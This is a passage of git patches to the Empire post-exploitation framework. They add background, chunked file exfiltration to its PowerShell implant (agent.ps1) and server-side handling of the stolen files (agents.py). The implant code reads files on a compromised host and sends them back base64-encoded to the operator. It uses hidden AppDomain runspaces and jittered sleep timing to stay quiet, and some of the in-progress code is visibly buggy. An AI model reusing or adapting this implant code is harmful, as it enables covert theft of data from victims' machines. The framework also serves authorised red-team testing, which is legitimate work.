From 5ef3c0871e867c0c9729c69e843c63749bb9d076 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 11:53:26 -0700 Subject: [PATCH 01/22] Download test --- data/agent/agent.ps1 | 268 +++++++++++++++++++++++++++++++++++++------ lib/common/agents.py | 66 ++++++----- 2 files changed, 272 insertions(+), 62 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 610d7b5..489c7d7 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -130,6 +130,7 @@ function Invoke-Empire { # keep track of all background jobs # format: {'RandomJobName' : @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}, ... } $Script:Jobs = @{} + $Script:Downloads = @{} # the currently imported script held in memory $script:ImportedScript = '' @@ -389,6 +390,208 @@ function Invoke-Empire { "`n"+($output | Format-Table -wrap | Out-String) } + $DownloadFile = @" +function Download-File { + param(`$type,`$FilePath,`$ChunkSize, `$ResultID, `$Delay, `$Jitter) + + `$Index = 0 + do { + `$EncodedPart = Get-FilePart -File "`$FilePath" -Index `$Index -ChunkSize `$ChunkSize + + if (`$EncodedPart) { + `$data = "{0}|{1}|{2}" -f `$Index,`$FilePath,`$EncodedPart + Encode-Packet -type `$type -data `$(`$data) -ResultID `$ResultID + `$Index += 1 + + # if there are more parts of the file, sleep for the specified interval + if(`$Delay -ne 0) { + `$min = [int]((1-`$Jitter)*`$Delay) + `$max = [int]((1+`$Jitter)*`$Delay) + + if(`$min -eq `$max) { + `$sleepTime = `$min + } + else { + `$sleepTime = Get-Random -minimum `$min -maximum `$max + } + + Start-Sleep -s `$sleepTime + } + } + [GC]::Collect() + } while(`$EncodedPart) + + Encode-Packet -type 40 -data `$("[*] File download of `$FilePath completed") -ResultID `$ResultID +} + +function Encode-Packet { + param([Int16]`$type, `$data, [Int16]`$ResultID=0) + <# + encode a packet for transport: + +------+--------------------+----------+---------+--------+-----------+ + | Type | total # of packets | packet # | task ID | Length | task data | + +------+--------------------+--------------------+--------+-----------+ + | 2 | 2 | 2 | 2 | 4 | | + +------+--------------------+----------+---------+--------+-----------+ + #> + + # in case we get a result array, make sure we join everything up + if (`$data -is [System.Array]) { + `$data = `$data -join "`n" + } + + # convert data to base64 so we can support all encodings and handle on server side + `$data = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$data)) + + `$packet = New-Object Byte[] (12 + `$data.Length) + + # packet type + ([BitConverter]::GetBytes(`$type)).CopyTo(`$packet, 0) + # total number of packets + ([BitConverter]::GetBytes([Int16]1)).CopyTo(`$packet, 2) + # packet number + ([BitConverter]::GetBytes([Int16]1)).CopyTo(`$packet, 4) + # task/result ID + ([BitConverter]::GetBytes(`$ResultID)).CopyTo(`$packet, 6) + # length + ([BitConverter]::GetBytes(`$data.Length)).CopyTo(`$packet, 8) + ([System.Text.Encoding]::UTF8.GetBytes(`$data)).CopyTo(`$packet, 12) + + `$packet +} + +function Get-FilePart { + Param( + [string] `$File, + [int] `$Index = 0, + `$ChunkSize = 512KB, + [switch] `$NoBase64 + ) + + try { + `$f = Get-Item "`$File" + `$FileLength = `$f.length + `$FromFile = [io.file]::OpenRead(`$File) + + if (`$FileLength -lt `$ChunkSize) { + if(`$Index -eq 0) { + `$buff = new-object byte[] `$FileLength + `$count = `$FromFile.Read(`$buff, 0, `$buff.Length) + if(`$NoBase64) { + `$buff + } + else{ + [System.Convert]::ToBase64String(`$buff) + } + } + else{ + `$Null + } + } + else{ + `$buff = new-object byte[] `$ChunkSize + `$Start = (`$Index * `$(`$ChunkSize)) + + `$null = `$FromFile.Seek(`$Start,0) + + `$count = `$FromFile.Read(`$buff, 0, `$buff.Length) + + if (`$count -gt 0) { + if(`$count -ne `$ChunkSize) { + # if we're on the last file chunk + + # create a new array of the appropriate length + `$buff2 = new-object byte[] `$count + # and copy the relevant data into it + [array]::copy(`$buff, `$buff2, `$count) + + if(`$NoBase64) { + `$buff2 + } + else{ + [System.Convert]::ToBase64String(`$buff2) + } + } + else{ + if(`$NoBase64) { + `$buff + } + else{ + [System.Convert]::ToBase64String(`$buff) + } + } + } + else{ + `$Null; + } + } + } + catch{} + finally { + `$FromFile.Close() + } +} +"@ + + + function Start-DownloadJob { + param($ScriptBlock,$Type, $FilePath, $ChunkSize, $ResultID) + + $JobName = Split-Path -Path $FilePath -Leaf + + # create our new AppDomain + $AppDomain = [AppDomain]::CreateDomain($RandName) + + # load the PowerShell dependency assemblies in the new runspace and instantiate a PS runspace + $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create() + + # add the target script into the new runspace/appdomain + $ScriptBlock = "$ScriptBlock`r`n Download-File -type $Type -FilePath $FilePath -ResultID $ResultID -ChunkSize $ChunkSize -Delay $($Script:AgentDelay) -Jitter $($Script:AgentJitter)" + $null = $PSHost.AddScript($ScriptBlock) + + # stupid v2 compatibility... + $Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]' + $PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]' + $BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject])) + + # kick off asynchronous execution + $Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType))) + + $Script:Downloads[$JobName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer} + + $JobName + } + + function Get-DownloadJobCompleted { + param($JobName) + + if ($Script:Downloads.ContainsKey($JobName)) { + $Script:Downloads[$JobName]['Job'].IsCompleted + } + } + + function Receive-DownloadJob { + param($JobName) + + if ($Script:Downloads.ContainsKey($JobName)) { + $Script:Downloads[$JobName]['Buffer'].ReadAll() + } + } + + function Stop-DownloadJob { + param($JobName) + + if ($Script:Downloads.ContainsKey($JobName)) { + #kill the PS host + $null = $Script:Downloads[$JobName]['PSHost'].Stop() + # get results + $Script:Downloads[$JobName]['Buffer'].ReadAll() + # unload the app domain runner + $Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain']) + $Script:Downloads.Remove($JobName) + } + } + # takes a string representing a PowerShell script to run, build a new # AppDomain and PowerShell runspace, and kick off the execution in the # new runspace/AppDomain asynchronously, storing the results in $Script:Jobs. @@ -791,11 +994,11 @@ function Invoke-Empire { Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd -cmdargs $cmdargs) -join "`n").trim() -ResultID $ResultID } } - # file download + # background file download elseif($type -eq 41) { + try { $ChunkSize = 512KB - $Parts = $Data.Split(" ") if($Parts.Length -gt 1) { @@ -827,41 +1030,17 @@ function Invoke-Empire { $ChunkSize = 8MB } - # resolve the complete path + # resolve the complete path $Path = Get-Childitem $Path | ForEach-Object {$_.FullName} - - # read in and send the specified chunk size back for as long as the file has more parts - $Index = 0 - do{ - $EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize - - if($EncodedPart) { - $data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart - Send-Message -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID) - $Index += 1 - - # if there are more parts of the file, sleep for the specified interval - if ($script:AgentDelay -ne 0) { - $min = [int]((1-$script:AgentJitter)*$script:AgentDelay) - $max = [int]((1+$script:AgentJitter)*$script:AgentDelay) - - if ($min -eq $max) { - $sleepTime = $min - } - else{ - $sleepTime = Get-Random -minimum $min -maximum $max; - } - Start-Sleep -s $sleepTime; - } - } - [GC]::Collect() - } while($EncodedPart) - - Encode-Packet -type 40 -data "[*] File download of $path completed" -ResultID $ResultID + + # Pass the the path to the Start-DownloadJob function + $jobID = Start-DownloadJob -ScriptBlock $DownloadFile -Type $Type -FilePath $Path -ChunkSize $ChunkSize -ResultID $ResultID + $script:ResultIDs[$jobID]=$ResultID } catch { Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID } + } # file upload elseif($type -eq 42) { @@ -1036,6 +1215,13 @@ function Invoke-Empire { $script:ResultIDs.Remove($JobName) } + ForEach($JobName in $Script:Downloads.Keys) { + $Results = Stop-DownloadJob -JobName $JobName + $JobResultID = $script:ResultIDs[$JobName] + $Packets += $Results + $script:ResultIDs.Remove($JobName) + } + # send job results back if there are any if ($Packets) { Send-Message -Packets $Packets @@ -1118,6 +1304,24 @@ function Invoke-Empire { } } + ForEach($JobName in $Script:Downloads.Keys) { + $JobResultID = $script:ResultIDs[$JobName] + # check if the download is still running + if (Get-DownloadJobCompleted -JobName $JobName) { + # the download is finished, retrieve file data + $Results = Stop-DownloadJob -JobName $JobName + Write-Host "[+] Download complete for: $JobName, Final chuck size: $($Results.Length)" + } + else { + $Results = Receive-DownloadJob -JobName $JobName + Write-Host "[+] Data chunk size: $($Results.Length)" + } + + if ($Results) { + $JobResults += $Results + } + } + if ($JobResults) { Send-Message -Packets $JobResults } diff --git a/lib/common/agents.py b/lib/common/agents.py index effbd37..822bc5c 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -55,7 +55,7 @@ handle_agent_data() is the main function that should be used by external listene Most methods utilize self.lock to deal with the concurreny issue of kicking off threaded listeners. """ - +# -*- encoding: utf-8 -*- import os import json import string @@ -227,10 +227,9 @@ class Agents: sessionID = self.get_agent_name_db(sessionID) lang = self.get_language_db(sessionID) parts = path.split("\\") - parts # construct the appropriate save path - save_path = "%sdownloads/%s%s" % (self.installPath, sessionID, "/".join(parts[0:-1])) + save_path = "%s/downloads/%s%s" % (self.installPath, sessionID, "/".join(parts[0:-1])) filename = os.path.basename(parts[-1]) try: @@ -244,14 +243,17 @@ class Agents: # make the recursive directory structure if it doesn't already exist if not os.path.exists(save_path): + dispatcher.send("[?] Path %s doesn't exists. Creating directory" % (save_path), sender='Agents') os.makedirs(save_path) # overwrite an existing file if not append: f = open("%s/%s" % (save_path, filename), 'wb') + dispatcher.send("[!] Saving to path %s" % (save_path), sender='Agents') else: # otherwise append f = open("%s/%s" % (save_path, filename), 'ab') + dispatcher.send("[!] Appending to path %s" % (save_path), sender='Agents') if "python" in lang: print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green") @@ -1041,14 +1043,14 @@ class Agents: if pk is None: pk = 0 pk = (pk + 1) % 65536 - taskID = cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]).lastrowid + cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]) # append our new json-ified task and update the backend - agent_tasks.append([taskName, task, taskID]) + agent_tasks.append([taskName, task, pk]) cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID]) # report the agent tasking in the reporting database - cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), taskID)) + cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk)) cur.close() @@ -1058,7 +1060,7 @@ class Agents: f.write(task) f.close() - return taskID + return pk finally: self.lock.release() @@ -1180,6 +1182,7 @@ class Agents: try: message = encryption.aes_decrypt_and_verify(stagingKey, encData) except Exception as e: + print 'exception e:' + str(e) # if we have an error during decryption dispatcher.send("[!] HMAC verification failed from '%s'" % (sessionID), sender='Agents') return 'ERROR: HMAC verification failed' @@ -1291,18 +1294,18 @@ class Agents: dispatcher.send("[!] Nonce verified: agent %s posted valid sysinfo checkin format: %s" % (sessionID, message), sender='Agents') - # listener = parts[1].encode('ascii', 'ignore') - domainname = parts[2].encode('ascii', 'ignore') - username = parts[3].encode('ascii', 'ignore') - hostname = parts[4].encode('ascii', 'ignore') - external_ip = clientIP.encode('ascii', 'ignore') - internal_ip = parts[5].encode('ascii', 'ignore') - os_details = parts[6].encode('ascii', 'ignore') - high_integrity = parts[7].encode('ascii', 'ignore') - process_name = parts[8].encode('ascii', 'ignore') - process_id = parts[9].encode('ascii', 'ignore') - language = parts[10].encode('ascii', 'ignore') - language_version = parts[11].encode('ascii', 'ignore') + listener = unicode(parts[1], 'utf-8') + domainname = unicode(parts[2], 'utf-8') + username = unicode(parts[3], 'utf-8') + hostname = unicode(parts[4], 'utf-8') + external_ip = unicode(clientIP, 'utf-8') + internal_ip = unicode(parts[5], 'utf-8') + os_details = unicode(parts[6], 'utf-8') + high_integrity = unicode(parts[7], 'utf-8') + process_name = unicode(parts[8], 'utf-8') + process_id = unicode(parts[9], 'utf-8') + language = unicode(parts[10], 'utf-8') + language_version = unicode(parts[11], 'utf-8') if high_integrity == "True": high_integrity = 1 else: @@ -1529,17 +1532,17 @@ class Agents: else: print "sysinfo:",data # extract appropriate system information - listener = parts[1].encode('ascii', 'ignore') - domainname = parts[2].encode('ascii', 'ignore') - username = parts[3].encode('ascii', 'ignore') - hostname = parts[4].encode('ascii', 'ignore') - internal_ip = parts[5].encode('ascii', 'ignore') - os_details = parts[6].encode('ascii', 'ignore') - high_integrity = parts[7].encode('ascii', 'ignore') - process_name = parts[8].encode('ascii', 'ignore') - process_id = parts[9].encode('ascii', 'ignore') - language = parts[10].encode('ascii', 'ignore') - language_version = parts[11].encode('ascii', 'ignore') + listener = unicode(parts[1], 'utf-8') + domainname = unicode(parts[2], 'utf-8') + username = unicode(parts[3], 'utf-8') + hostname = unicode(parts[4], 'utf-8') + internal_ip = unicode(parts[5], 'utf-8') + os_details = unicode(parts[6], 'utf-8') + high_integrity = unicode(parts[7], 'utf-8') + process_name = unicode(parts[8], 'utf-8') + process_id = unicode(parts[9], 'utf-8') + language = unicode(parts[10], 'utf-8') + language_version = unicode(parts[11], 'utf-8') if high_integrity == 'True': high_integrity = 1 else: @@ -1600,11 +1603,14 @@ class Agents: name = self.get_agent_name_db(sessionID) if index == "0": + dispatcher.send("[+] At index 0, saving file", sender='Agents') self.save_file(name, path, file_data) else: self.save_file(name, path, file_data, append=True) + dispatcher.send("[+] Not at index 0, saving file", sender='Agents') # update the agent log msg = "file download: %s, part: %s" % (path, index) + dispatcher.send(msg + " " + sessionID, sender='Agents') self.save_agent_log(sessionID, msg) From c2a1639d7b2f99ffa2c96e6b1765e84ede358ec7 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 14:20:35 -0700 Subject: [PATCH 02/22] Adjusted chunk size --- data/agent/agent.ps1 | 8 ++++---- lib/common/agents.py | 7 ++----- 2 files changed, 6 insertions(+), 9 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 489c7d7..fcc3ce1 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -1023,11 +1023,11 @@ function Get-FilePart { $Path = $Path.Trim('"').Trim("'") # hardcoded floor/ceiling limits - if($ChunkSize -lt 64KB) { - $ChunkSize = 64KB + if($ChunkSize -lt 32KB) { + $ChunkSize = 32KB } - elseif($ChunkSize -gt 8MB) { - $ChunkSize = 8MB + elseif($ChunkSize -gt 4MB) { + $ChunkSize = 4MB } # resolve the complete path diff --git a/lib/common/agents.py b/lib/common/agents.py index 822bc5c..538d9c4 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -229,7 +229,7 @@ class Agents: parts = path.split("\\") # construct the appropriate save path - save_path = "%s/downloads/%s%s" % (self.installPath, sessionID, "/".join(parts[0:-1])) + save_path = "%sdownloads/%s%s" % (self.installPath, sessionID, "/".join(parts[0:-1])) filename = os.path.basename(parts[-1]) try: @@ -249,11 +249,9 @@ class Agents: # overwrite an existing file if not append: f = open("%s/%s" % (save_path, filename), 'wb') - dispatcher.send("[!] Saving to path %s" % (save_path), sender='Agents') else: # otherwise append f = open("%s/%s" % (save_path, filename), 'ab') - dispatcher.send("[!] Appending to path %s" % (save_path), sender='Agents') if "python" in lang: print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green") @@ -1601,13 +1599,12 @@ class Agents: # decode the file data and save it off as appropriate file_data = helpers.decode_base64(data) name = self.get_agent_name_db(sessionID) + dispatcher.send("[!] Received file data with length: %s" % (str(len(file_data))), sender='Agents') if index == "0": - dispatcher.send("[+] At index 0, saving file", sender='Agents') self.save_file(name, path, file_data) else: self.save_file(name, path, file_data, append=True) - dispatcher.send("[+] Not at index 0, saving file", sender='Agents') # update the agent log msg = "file download: %s, part: %s" % (path, index) dispatcher.send(msg + " " + sessionID, sender='Agents') From b476e81732f684291e6f4158cafe56b9a471acc3 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 14:44:38 -0700 Subject: [PATCH 03/22] corrected jitter and delay --- data/agent/agent.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index fcc3ce1..81fe00c 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -546,7 +546,7 @@ function Get-FilePart { $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create() # add the target script into the new runspace/appdomain - $ScriptBlock = "$ScriptBlock`r`n Download-File -type $Type -FilePath $FilePath -ResultID $ResultID -ChunkSize $ChunkSize -Delay $($Script:AgentDelay) -Jitter $($Script:AgentJitter)" + $ScriptBlock = "$ScriptBlock`nDownload-File -type $Type -FilePath $FilePath -ResultID $ResultID -ChunkSize $ChunkSize -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)" $null = $PSHost.AddScript($ScriptBlock) # stupid v2 compatibility... From f240d26f2ea09431578c933aa4280475242309f8 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 14:46:21 -0700 Subject: [PATCH 04/22] small change --- data/agent/agent.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 81fe00c..21d1eac 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -546,7 +546,7 @@ function Get-FilePart { $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create() # add the target script into the new runspace/appdomain - $ScriptBlock = "$ScriptBlock`nDownload-File -type $Type -FilePath $FilePath -ResultID $ResultID -ChunkSize $ChunkSize -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)" + $ScriptBlock = "$ScriptBlock`nDownload-File -type $Type -FilePath $FilePath -ChunkSize $ChunkSize -ResultID $ResultID -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)" $null = $PSHost.AddScript($ScriptBlock) # stupid v2 compatibility... From 986485ed29766efc4d9351816e9c1c944588ed84 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 16:50:01 -0700 Subject: [PATCH 05/22] More testing --- data/agent/agent.ps1 | 188 ++++++++++++++++++++----------------------- lib/common/agents.py | 61 +++++++------- 2 files changed, 117 insertions(+), 132 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 21d1eac..04ae9d7 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -131,7 +131,6 @@ function Invoke-Empire { # format: {'RandomJobName' : @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}, ... } $Script:Jobs = @{} $Script:Downloads = @{} - # the currently imported script held in memory $script:ImportedScript = '' @@ -392,36 +391,76 @@ function Invoke-Empire { $DownloadFile = @" function Download-File { - param(`$type,`$FilePath,`$ChunkSize, `$ResultID, `$Delay, `$Jitter) + param(`$Data,`$type,`$ResultID,`$Delay,`$Jitter) + try { + `$ChunkSize = 512KB - `$Index = 0 - do { - `$EncodedPart = Get-FilePart -File "`$FilePath" -Index `$Index -ChunkSize `$ChunkSize + `$Parts = `$Data.Split(" ") - if (`$EncodedPart) { - `$data = "{0}|{1}|{2}" -f `$Index,`$FilePath,`$EncodedPart - Encode-Packet -type `$type -data `$(`$data) -ResultID `$ResultID - `$Index += 1 - - # if there are more parts of the file, sleep for the specified interval - if(`$Delay -ne 0) { - `$min = [int]((1-`$Jitter)*`$Delay) - `$max = [int]((1+`$Jitter)*`$Delay) - - if(`$min -eq `$max) { - `$sleepTime = `$min + if(`$Parts.Length -gt 1) { + `$Path = `$Parts[0..(`$parts.length-2)] -join " " + try { + `$ChunkSize = `$Parts[-1]/1 + if(`$Parts[-1] -notlike "*b*") { + # if MB/KB not specified, assume KB and adjust accordingly + `$ChunkSize = `$ChunkSize * 1024 } - else { - `$sleepTime = Get-Random -minimum `$min -maximum `$max - } - - Start-Sleep -s `$sleepTime + } + catch { + # if there's an error converting the last token, assume no + # chunk size is specified and add the last token onto the path + `$Path += " `$(`$Parts[-1])" } } - [GC]::Collect() - } while(`$EncodedPart) + else { + `$Path = `$Data + } - Encode-Packet -type 40 -data `$("[*] File download of `$FilePath completed") -ResultID `$ResultID + `$Path = `$Path.Trim('"').Trim("'") + + # hardcoded floor/ceiling limits + if(`$ChunkSize -lt 64KB) { + `$ChunkSize = 64KB + } + elseif(`$ChunkSize -gt 8MB) { + `$ChunkSize = 8MB + } + + # resolve the complete path + `$Path = Get-Childitem `$Path | ForEach-Object {`$_.FullName} + + # read in and send the specified chunk size back for as long as the file has more parts + `$Index = 0 + do{ + `$EncodedPart = Get-FilePart -File "`$path" -Index `$Index -ChunkSize `$ChunkSize + + if(`$EncodedPart) { + `$data = "{0}|{1}|{2}" -f `$Index, `$path, `$EncodedPart + Encode-Packet -type `$type -data `$(`$data) -ResultID `$ResultID) + `$Index += 1 + + # if there are more parts of the file, sleep for the specified interval + if (`$script:AgentDelay -ne 0) { + `$min = [int]((1-`$Jitter)*`$Delay) + `$max = [int]((1+`$Jitter)*`$Delay) + + if (`$min -eq `$max) { + `$sleepTime = `$min + } + else{ + `$sleepTime = Get-Random -minimum `$min -maximum `$max; + } + Start-Sleep -s `$sleepTime; + } + } + [GC]::Collect() + } while(`$EncodedPart) + + Encode-Packet -type 40 -data "[*] File download of `$path completed" -ResultID `$ResultID + } + catch { + Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID `$ResultID + } } function Encode-Packet { @@ -459,7 +498,6 @@ function Encode-Packet { `$packet } - function Get-FilePart { Param( [string] `$File, @@ -490,7 +528,7 @@ function Get-FilePart { } else{ `$buff = new-object byte[] `$ChunkSize - `$Start = (`$Index * `$(`$ChunkSize)) + `$Start = `$Index * `$(`$ChunkSize) `$null = `$FromFile.Seek(`$Start,0) @@ -533,11 +571,9 @@ function Get-FilePart { } "@ - function Start-DownloadJob { - param($ScriptBlock,$Type, $FilePath, $ChunkSize, $ResultID) - - $JobName = Split-Path -Path $FilePath -Leaf + param($ScriptString,$Type,$ResultID,$Data) + $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6) # create our new AppDomain $AppDomain = [AppDomain]::CreateDomain($RandName) @@ -546,8 +582,8 @@ function Get-FilePart { $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create() # add the target script into the new runspace/appdomain - $ScriptBlock = "$ScriptBlock`nDownload-File -type $Type -FilePath $FilePath -ChunkSize $ChunkSize -ResultID $ResultID -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)" - $null = $PSHost.AddScript($ScriptBlock) + $ScriptString = "$ScriptString`n Download-File -type $Type -Data $Data -ResultID $ResultID -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)" + $null = $PSHost.AddScript($ScriptString) # stupid v2 compatibility... $Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]' @@ -557,37 +593,33 @@ function Get-FilePart { # kick off asynchronous execution $Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType))) - $Script:Downloads[$JobName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer} - - $JobName + $Script:Jobs[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer} + $RandName } function Get-DownloadJobCompleted { param($JobName) - - if ($Script:Downloads.ContainsKey($JobName)) { + if($Script:Downloads.ContainsKey($JobName)) { $Script:Downloads[$JobName]['Job'].IsCompleted } } - function Receive-DownloadJob { + function Receive-AgentJob { param($JobName) - - if ($Script:Downloads.ContainsKey($JobName)) { + if($Script:Downloads.ContainsKey($JobName)) { $Script:Downloads[$JobName]['Buffer'].ReadAll() } } function Stop-DownloadJob { param($JobName) - - if ($Script:Downloads.ContainsKey($JobName)) { - #kill the PS host - $null = $Script:Downloads[$JobName]['PSHost'].Stop() + if($Script:Downloads.ContainsKey($JobName)) { + # kill the PS host + $Null = $Script:Downloads[$JobName]['PSHost'].Stop() # get results $Script:Downloads[$JobName]['Buffer'].ReadAll() # unload the app domain runner - $Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain']) + $Null = [AppDomain]::Unload($Script:Downloads[$JobName]['AppDomain']) $Script:Downloads.Remove($JobName) } } @@ -994,53 +1026,10 @@ function Get-FilePart { Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd -cmdargs $cmdargs) -join "`n").trim() -ResultID $ResultID } } - # background file download + # file download elseif($type -eq 41) { - - try { - $ChunkSize = 512KB - $Parts = $Data.Split(" ") - - if($Parts.Length -gt 1) { - $Path = $Parts[0..($parts.length-2)] -join " " - try { - $ChunkSize = $Parts[-1]/1 - if($Parts[-1] -notlike "*b*") { - # if MB/KB not specified, assume KB and adjust accordingly - $ChunkSize = $ChunkSize * 1024 - } - } - catch { - # if there's an error converting the last token, assume no - # chunk size is specified and add the last token onto the path - $Path += " $($Parts[-1])" - } - } - else { - $Path = $Data - } - - $Path = $Path.Trim('"').Trim("'") - - # hardcoded floor/ceiling limits - if($ChunkSize -lt 32KB) { - $ChunkSize = 32KB - } - elseif($ChunkSize -gt 4MB) { - $ChunkSize = 4MB - } - - # resolve the complete path - $Path = Get-Childitem $Path | ForEach-Object {$_.FullName} - - # Pass the the path to the Start-DownloadJob function - $jobID = Start-DownloadJob -ScriptBlock $DownloadFile -Type $Type -FilePath $Path -ChunkSize $ChunkSize -ResultID $ResultID - $script:ResultIDs[$jobID]=$ResultID - } - catch { - Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID - } - + $jobID = Start-DownloadJob -ScriptString $DownloadFile -Type $type -ResultID $ResultID -Data $Data + $script:ResultIDs[$jobID]=$ResultID } # file upload elseif($type -eq 42) { @@ -1288,6 +1277,7 @@ function Get-FilePart { # poll running jobs, receive any data, and remove any completed jobs $JobResults = $Null + $DownloadResults = $Null ForEach($JobName in $Script:Jobs.Keys) { $JobResultID = $script:ResultIDs[$JobName] # check if the job is still running @@ -1306,24 +1296,22 @@ function Get-FilePart { ForEach($JobName in $Script:Downloads.Keys) { $JobResultID = $script:ResultIDs[$JobName] - # check if the download is still running - if (Get-DownloadJobCompleted -JobName $JobName) { - # the download is finished, retrieve file data + # check if the job is still running + if(Get-DownloadJobCompleted -JobName $JobName) { + # the job has stopped, so receive results/cleanup $Results = Stop-DownloadJob -JobName $JobName - Write-Host "[+] Download complete for: $JobName, Final chuck size: $($Results.Length)" } else { $Results = Receive-DownloadJob -JobName $JobName - Write-Host "[+] Data chunk size: $($Results.Length)" } - if ($Results) { - $JobResults += $Results + if($Results) { + $DownloadResults += $Results } } if ($JobResults) { - Send-Message -Packets $JobResults + Send-Message -Packets $($JobResults + $DownloadResults) } # get the next task from the server diff --git a/lib/common/agents.py b/lib/common/agents.py index 538d9c4..effbd37 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -55,7 +55,7 @@ handle_agent_data() is the main function that should be used by external listene Most methods utilize self.lock to deal with the concurreny issue of kicking off threaded listeners. """ -# -*- encoding: utf-8 -*- + import os import json import string @@ -227,6 +227,7 @@ class Agents: sessionID = self.get_agent_name_db(sessionID) lang = self.get_language_db(sessionID) parts = path.split("\\") + parts # construct the appropriate save path save_path = "%sdownloads/%s%s" % (self.installPath, sessionID, "/".join(parts[0:-1])) @@ -243,7 +244,6 @@ class Agents: # make the recursive directory structure if it doesn't already exist if not os.path.exists(save_path): - dispatcher.send("[?] Path %s doesn't exists. Creating directory" % (save_path), sender='Agents') os.makedirs(save_path) # overwrite an existing file @@ -1041,14 +1041,14 @@ class Agents: if pk is None: pk = 0 pk = (pk + 1) % 65536 - cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]) + taskID = cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]).lastrowid # append our new json-ified task and update the backend - agent_tasks.append([taskName, task, pk]) + agent_tasks.append([taskName, task, taskID]) cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID]) # report the agent tasking in the reporting database - cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk)) + cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), taskID)) cur.close() @@ -1058,7 +1058,7 